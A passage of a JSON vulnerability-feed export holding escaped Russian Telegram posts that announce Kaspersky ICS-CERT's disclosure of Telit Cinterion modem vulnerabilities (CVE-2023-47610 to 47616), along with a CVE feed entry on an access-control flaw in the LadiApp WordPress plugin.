\u0438 \u0432\u0430\u0436\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0439 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438 \u0438 \u0434\u043b\u044f connected \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0432 \u0446\u0435\u043b\u043e\u043c. \u0414\u043b\u044f \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439, \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438, \u0434\u043b\u044f REDACTED, \u0434\u043b\u044f REDACTED, \u0438 \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u043c\u043e\u0434\u0435\u043c\u044b \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0432 REDACTED. \u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0432\u0441\u044e \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u043a\u0443\u043f\u043e\u043a \u0438 \u043f\u043e\u0433\u043b\u0430\u0449\u0435\u043d\u0438\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u0438 \u043c\u043e\u0434\u0435\u043c\u044b \u0432 \u0441\u0432\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u044b\u043b\u0438 \u0447\u0430\u0441\u0442\u044c\u044e \u0431\u0438\u0437\u043d\u0435\u0441\u0430  Gemalto, \u0447\u044c\u0438 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u044b \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0439 \u043c\u044b \u043b\u043e\u043c\u0430\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0438 \u043d\u0430\u0448\u043b\u0438 \u0442\u0430\u043c \u0431\u0435\u043a\u0434\u043e\u0440 \u043f\u043b\u043e\u0445\u043e \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b. \n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u043c\u043e\u0434\u0435\u043c\u043e\u0432 \u0441\u0442\u0430\u043b\u0430 \u043f\u0430\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439:\nCVE-2023-47610 - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430\nCVE-2023-47611 - \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0435\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f \"manufacturer\"\nCVE-2023-47612 - \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 (\u0444\u0430\u0439\u043b\u044b, \u043f\u0430\u043f\u043a\u0438 \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0435) \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\nCVE-2023-47613 -  \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0442\u0435\u043d\u0438\u044e \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47614 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0438 \u0438\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47615 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c\nCVE-2023-47616 - \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\n\n\u0412\u0441\u0435 \u0431\u0430\u0433\u0438 \u043f\u043e-\u0441\u0432\u043e\u0435\u043c\u0443 \u0438\u043d\u0435\u0442\u0435\u0440\u0441\u043d\u044b. \u041d\u043e, \u043d\u0430 \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434, \u0441\u0430\u043c\u0430\u0439 \u044d\u043b\u0435\u0433\u0430\u043d\u0442\u043d\u0430\u044f, \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u043f\u0435\u0440\u0432\u0430\u044f - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 SMS. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c 4-5 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u043c\u0441\u043e\u043a \u0438 \u0442\u043e\u0433\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e. \n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0442\u043e \u0442\u0443\u0442 \u0432\u0441\u0435 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u041e\u0447\u0435\u043d\u044c \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u041c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0443 \u0432\u043e\u043a\u0440\u0443\u0433 \u044d\u0442\u0438\u0445 \u043c\u043e\u0434\u0435\u043c\u043e\u0432, \u043d\u043e \u0442\u0443\u0442 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043c\u043d\u043e\u0433\u043e. \u0411\u0435\u0434\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0430\u0442\u0430\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \"\u0437\u0430\u043b\u0438\u0432\u0430\u0442\u044c\" \u0431\u0435\u043a\u0434\u043e\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0447\u0435\u0440\u0442\u043e\u0432\u0441\u043a\u0438 \u0442\u0440\u0443\u0434\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c. \u0418 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0438\u0434\u044f\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043d\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b\n\nBig things have small beginnings. \u042d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0435\u0440\u0432\u044b\u0439 \u043e\u0442\u0447\u0435\u0442. \u0418 \u0435\u0433\u043e \u0443\u0440\u0435\u0437\u0430\u043d\u043d\u0430\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c :) \u043d\u043e \u0438 \u0435\u0435 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u0432\u0441\u044e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u043b\u0430. \u0418\u0441\u043a\u0440\u0435\u043d\u043d\u0435 \u043f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u044e \u0432\u0441\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043a\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u043b \u043d\u0430\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438! \n\nUPD: \u0437\u0430\u0431\u044b\u043b \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043f\u0430\u0446\u0430\u043d\u044b \u0432\u043e\u043e\u0431\u0449\u0435 \u0440\u0435\u0431\u044f\u0442\u0430 \u0438 \u0434\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0442\u0447\u0435\u0442\u0430 \u0441\u0432\u044f\u0437\u0430\u043b\u0438\u0441\u044c \u0441 \u043a\u0443\u0447\u0435\u0439 CERT'\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u0439 \u043f\u043b\u0430\u043d\u0435\u0442\u0435, \u0447\u0442\u043e\u0431\u044b \u0442\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u0441\u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u043e \u043c\u0438\u0442\u0438\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445 \u0438 \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u0445. \u0412\u0430\u0436\u043d\u0435\u0439\u0448\u0438\u0439 \u0448\u0430\u0433 \u0432 \u0441\u0432\u0435\u0442\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u0430\u043d\u0442\u0430\u0441\u043c\u0430\u0433\u043e\u0440\u0438\u0438\n\n\u041e\u0442\u0447\u0435\u0442:\nhttps://ics-cert.kaspersky.ru/media/Kaspersky-ICS-CERT-Cinterion-EHS5-whitepaper-Ru.pdf", "creation_timestamp": "2024-06-13T14:38:15.000000Z"}, {"uuid": "5457ba35-91d0-4a48-95c2-2f1f3051d4ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4730", "type": "seen", "source": "https://t.me/cvedetector/3380", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-4730 - LadiApp WordPress Unauthorized Data Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-4730 \nPublished : Aug. 17, 2024, 8:15 a.m. | 21\u00a0minutes ago \nDescription : The LadiApp plugn for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the init_endpoint() function hooked via 'init' in versions up to, and including, 4.3. This makes it possible for unauthenticated attackers to modify a variety of settings. An attacker can directly modify the 'ladipage_key' which enables them to create new posts on the website and inject malicious web scripts. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-17T10:37:22.000000Z"}, {"uuid": "fdfcf3cd-d116-474a-aaf9-b9af3b4bd7ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47611", "type": "published-proof-of-concept", "source": "https://t.me/sycebrex/167", "content": "\u0423\u0420\u0410 \u041d\u0410\u0421\u0422\u0410\u041b \u0422\u041e\u0422 \u0421\u0410\u041c\u042b\u0419 \u0414\u0415\u041d\u042c!\n\n\u0423 \u043d\u0430\u0441 \u0432\u044b\u0448\u0435\u043b \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 Telit Cinterion. \u042d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0438 \u0432\u0430\u0436\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0439 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438 \u0438 \u0434\u043b\u044f connected \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0432 \u0446\u0435\u043b\u043e\u043c. \u0414\u043b\u044f \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439, \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438, \u0434\u043b\u044f REDACTED, \u0434\u043b\u044f REDACTED, \u0438 \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u043c\u043e\u0434\u0435\u043c\u044b \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0432 REDACTED. \u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0432\u0441\u044e \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u043a\u0443\u043f\u043e\u043a \u0438 \u043f\u043e\u0433\u043b\u0430\u0449\u0435\u043d\u0438\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u0438 \u043c\u043e\u0434\u0435\u043c\u044b \u0432 \u0441\u0432\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u044b\u043b\u0438 \u0447\u0430\u0441\u0442\u044c\u044e \u0431\u0438\u0437\u043d\u0435\u0441\u0430  Gemalto, \u0447\u044c\u0438 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u044b \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0439 \u043c\u044b \u043b\u043e\u043c\u0430\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0438 \u043d\u0430\u0448\u043b\u0438 \u0442\u0430\u043c \u0431\u0435\u043a\u0434\u043e\u0440 \u043f\u043b\u043e\u0445\u043e \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b. \n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u043c\u043e\u0434\u0435\u043c\u043e\u0432 \u0441\u0442\u0430\u043b\u0430 \u043f\u0430\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439:\nCVE-2023-47610 - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430\nCVE-2023-47611 - \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0435\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f \"manufacturer\"\nCVE-2023-47612 - \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 (\u0444\u0430\u0439\u043b\u044b, \u043f\u0430\u043f\u043a\u0438 \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0435) \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\nCVE-2023-47613 -  \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0442\u0435\u043d\u0438\u044e \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47614 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0438 \u0438\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47615 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c\nCVE-2023-47616 - \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\n\n\u0412\u0441\u0435 \u0431\u0430\u0433\u0438 \u043f\u043e-\u0441\u0432\u043e\u0435\u043c\u0443 \u0438\u043d\u0435\u0442\u0435\u0440\u0441\u043d\u044b. \u041d\u043e, \u043d\u0430 \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434, \u0441\u0430\u043c\u0430\u0439 \u044d\u043b\u0435\u0433\u0430\u043d\u0442\u043d\u0430\u044f, \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u043f\u0435\u0440\u0432\u0430\u044f - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 SMS. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c 4-5 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u043c\u0441\u043e\u043a \u0438 \u0442\u043e\u0433\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e. \n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0442\u043e \u0442\u0443\u0442 \u0432\u0441\u0435 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u041e\u0447\u0435\u043d\u044c \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u041c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0443 \u0432\u043e\u043a\u0440\u0443\u0433 \u044d\u0442\u0438\u0445 \u043c\u043e\u0434\u0435\u043c\u043e\u0432, \u043d\u043e \u0442\u0443\u0442 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043c\u043d\u043e\u0433\u043e. \u0411\u0435\u0434\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0430\u0442\u0430\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \"\u0437\u0430\u043b\u0438\u0432\u0430\u0442\u044c\" \u0431\u0435\u043a\u0434\u043e\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0447\u0435\u0440\u0442\u043e\u0432\u0441\u043a\u0438 \u0442\u0440\u0443\u0434\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c. \u0418 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0438\u0434\u044f\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043d\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b\n\nBig things have small beginnings. \u042d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0435\u0440\u0432\u044b\u0439 \u043e\u0442\u0447\u0435\u0442. \u0418 \u0435\u0433\u043e \u0443\u0440\u0435\u0437\u0430\u043d\u043d\u0430\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c :) \u043d\u043e \u0438 \u0435\u0435 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u0432\u0441\u044e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u043b\u0430. \u0418\u0441\u043a\u0440\u0435\u043d\u043d\u0435 \u043f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u044e \u0432\u0441\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043a\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u043b \u043d\u0430\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438! \n\nUPD: \u0437\u0430\u0431\u044b\u043b \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043f\u0430\u0446\u0430\u043d\u044b \u0432\u043e\u043e\u0431\u0449\u0435 \u0440\u0435\u0431\u044f\u0442\u0430 \u0438 \u0434\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0442\u0447\u0435\u0442\u0430 \u0441\u0432\u044f\u0437\u0430\u043b\u0438\u0441\u044c \u0441 